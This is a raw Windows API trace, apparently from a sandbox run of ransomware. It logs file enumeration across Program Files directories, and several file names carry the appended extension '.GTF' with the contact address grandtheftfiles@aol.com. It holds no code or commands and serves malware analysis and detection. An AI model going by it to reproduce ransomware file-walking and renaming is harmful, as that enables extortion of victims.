	[0153.972] FindNextFileW (in: hFindFile=0x4140498, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1
	[0153.982] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x419c010 | out: hHeap=0x5a0000) returned 1
	[0153.982] FindNextFileW (in: hFindFile=0x4140318, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacd21b4f, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xacd21b4f, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xacd21b4f, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x18986, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="VSTOIN~1.GTF")) returned 1
	[0153.982] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4186ff8 | out: hHeap=0x5a0000) returned 1
	[0153.982] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xace06935, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xace06935, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xace2cb27, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x29178, dwReserved0=0x439, dwReserved1=0x638, cFileName="vstoee.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="VSTOEE~1.GTF")) returned 1
	[0153.982] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4176ff0 | out: hHeap=0x5a0000) returned 1
	[0153.983] FindNextFileW (in: hFindFile=0x4140498, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 0
	[0153.983] FindClose (in: hFindFile=0x4140498 | out: hFindFile=0x4140498) returned 1
	[0153.983] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4166fe8 | out: hHeap=0x5a0000) returned 1
	[0153.984] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffea39, dwReserved1=0xa3a, cFileName="Services", cAlternateFileName="")) returned 1
	[0153.984] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x419c010 | out: hHeap=0x5a0000) returned 1
	[0153.984] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffea39, dwReserved1=0xa3a, cFileName="System", cAlternateFileName="")) returned 1
	[0153.988] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4176ff0 | out: hHeap=0x5a0000) returned 1
	[0153.988] FindNextFileW (in: hFindFile=0x4140758, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1
	[0153.989] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x4198008, Size=0x8000) returned 0x41bc020
	[0153.989] FindNextFileW (in: hFindFile=0x4140758, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1
	[0153.989] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4166fe8 | out: hHeap=0x5a0000) returned 1
	[0153.989] FindNextFileW (in: hFindFile=0x4140718, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1
	[0153.990] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4166fe8 | out: hHeap=0x5a0000) returned 1
	[0153.990] FindNextFileW (in: hFindFile=0x4140718, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1
	[0154.192] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ac018 | out: hHeap=0x5a0000) returned 1
	[0154.192] FindNextFileW (in: hFindFile=0x4140318, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1
	[0154.192] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4166fe8 | out: hHeap=0x5a0000) returned 1
	[0154.193] FindNextFileW (in: hFindFile=0x4140718, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1
	[0154.195] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4166fe8 | out: hHeap=0x5a0000) returned 1
	[0154.195] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1
	[0154.195] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ac018 | out: hHeap=0x5a0000) returned 1
	[0154.195] FindNextFileW (in: hFindFile=0x4140718, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32.dll", cAlternateFileName="")) returned 1
	[0154.196] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x419c010 | out: hHeap=0x5a0000) returned 1
	[0154.197] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffea39, dwReserved1=0xa3a, cFileName="System", cAlternateFileName="")) returned 0
	[0154.197] FindClose (in: hFindFile=0x41402d8 | out: hFindFile=0x41402d8) returned 1
	[0154.198] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0154.198] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa202df47, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa202df47, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa202df47, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="desktop.ini.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="DESKTO~1.GTF")) returned 1
	[0154.200] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4165fd8 | out: hHeap=0x5a0000) returned 1
	[0154.200] FindNextFileW (in: hFindFile=0x4140718, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0xffffea39, dwReserved1=0xa3a, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1
	[0154.201] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4165fd8 | out: hHeap=0x5a0000) returned 1
	[0154.201] FindNextFileW (in: hFindFile=0x4140718, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d34e8c0, ftCreationTime.dwHighDateTime=0x1d5b7e5, ftLastAccessTime.dwLowDateTime=0x6254c590, ftLastAccessTime.dwHighDateTime=0x1d5aea4, ftLastWriteTime.dwLowDateTime=0x6254c590, ftLastWriteTime.dwHighDateTime=0x1d5aea4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0xffffea39, dwReserved1=0xa3a, cFileName="jane_conscious.exe", cAlternateFileName="JANE_C~1.EXE")) returned 1
	[0154.201] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4165fd8 | out: hHeap=0x5a0000) returned 1
	[0154.201] FindNextFileW (in: hFindFile=0x4140718, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0xffffea39, dwReserved1=0xa3a, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0154.201] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0154.201] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xe6d03e32, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d03e32, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="Java", cAlternateFileName="")) returned 1
	[0154.287] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195ff0 | out: hHeap=0x5a0000) returned 1
	[0154.287] FindNextFileW (in: hFindFile=0x4140718, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1
	[0154.289] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195ff0 | out: hHeap=0x5a0000) returned 1
	[0154.289] FindNextFileW (in: hFindFile=0x4140718, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1
	[0154.289] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195ff0 | out: hHeap=0x5a0000) returned 1
	[0154.289] FindNextFileW (in: hFindFile=0x4140718, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1
	[0154.290] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe8 | out: hHeap=0x5a0000) returned 1
	[0154.290] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1
	[0154.290] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195ff0 | out: hHeap=0x5a0000) returned 1
	[0154.290] FindNextFileW (in: hFindFile=0x4140498, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1
	[0154.290] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195ff0 | out: hHeap=0x5a0000) returned 1
	[0154.290] FindNextFileW (in: hFindFile=0x4140498, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1
	[0154.291] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195ff0 | out: hHeap=0x5a0000) returned 1
	[0154.291] FindNextFileW (in: hFindFile=0x4140498, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1
	[0154.293] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195ff0 | out: hHeap=0x5a0000) returned 1
	[0154.293] FindNextFileW (in: hFindFile=0x4140498, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1
	[0154.311] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195ff0 | out: hHeap=0x5a0000) returned 1
	[0154.311] FindNextFileW (in: hFindFile=0x4140498, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1
	[0154.512] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195ff0 | out: hHeap=0x5a0000) returned 1
	[0154.512] FindNextFileW (in: hFindFile=0x4140498, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1
	[0154.813] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0154.814] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cursors", cAlternateFileName="")) returned 0
	[0154.814] FindClose (in: hFindFile=0x4140798 | out: hFindFile=0x4140798) returned 1
	[0154.814] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195ff0 | out: hHeap=0x5a0000) returned 1
	[0154.814] FindNextFileW (in: hFindFile=0x4140498, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1
	[0155.095] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195ff0 | out: hHeap=0x5a0000) returned 1
	[0155.095] FindNextFileW (in: hFindFile=0x4140498, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1
	[0155.097] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195ff0 | out: hHeap=0x5a0000) returned 1
	[0155.097] FindNextFileW (in: hFindFile=0x4140498, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1
	[0155.105] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0155.105] FindNextFileW (in: hFindFile=0x4140498, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1
	[0155.105] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe8 | out: hHeap=0x5a0000) returned 1
	[0155.105] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1
	[0155.106] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4165fd8 | out: hHeap=0x5a0000) returned 1
	[0155.108] FindNextFileW (in: hFindFile=0x4140318, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a614a30, ftCreationTime.dwHighDateTime=0x1d58f38, ftLastAccessTime.dwLowDateTime=0xca57ba90, ftLastAccessTime.dwHighDateTime=0x1d5ef8a, ftLastWriteTime.dwLowDateTime=0xca57ba90, ftLastWriteTime.dwHighDateTime=0x1d5ef8a, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0xffffea39, dwReserved1=0xa3a, cFileName="whatsapp.exe", cAlternateFileName="")) returned 1
	[0155.108] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0155.108] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa2ea26c0, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa2ea26c0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1
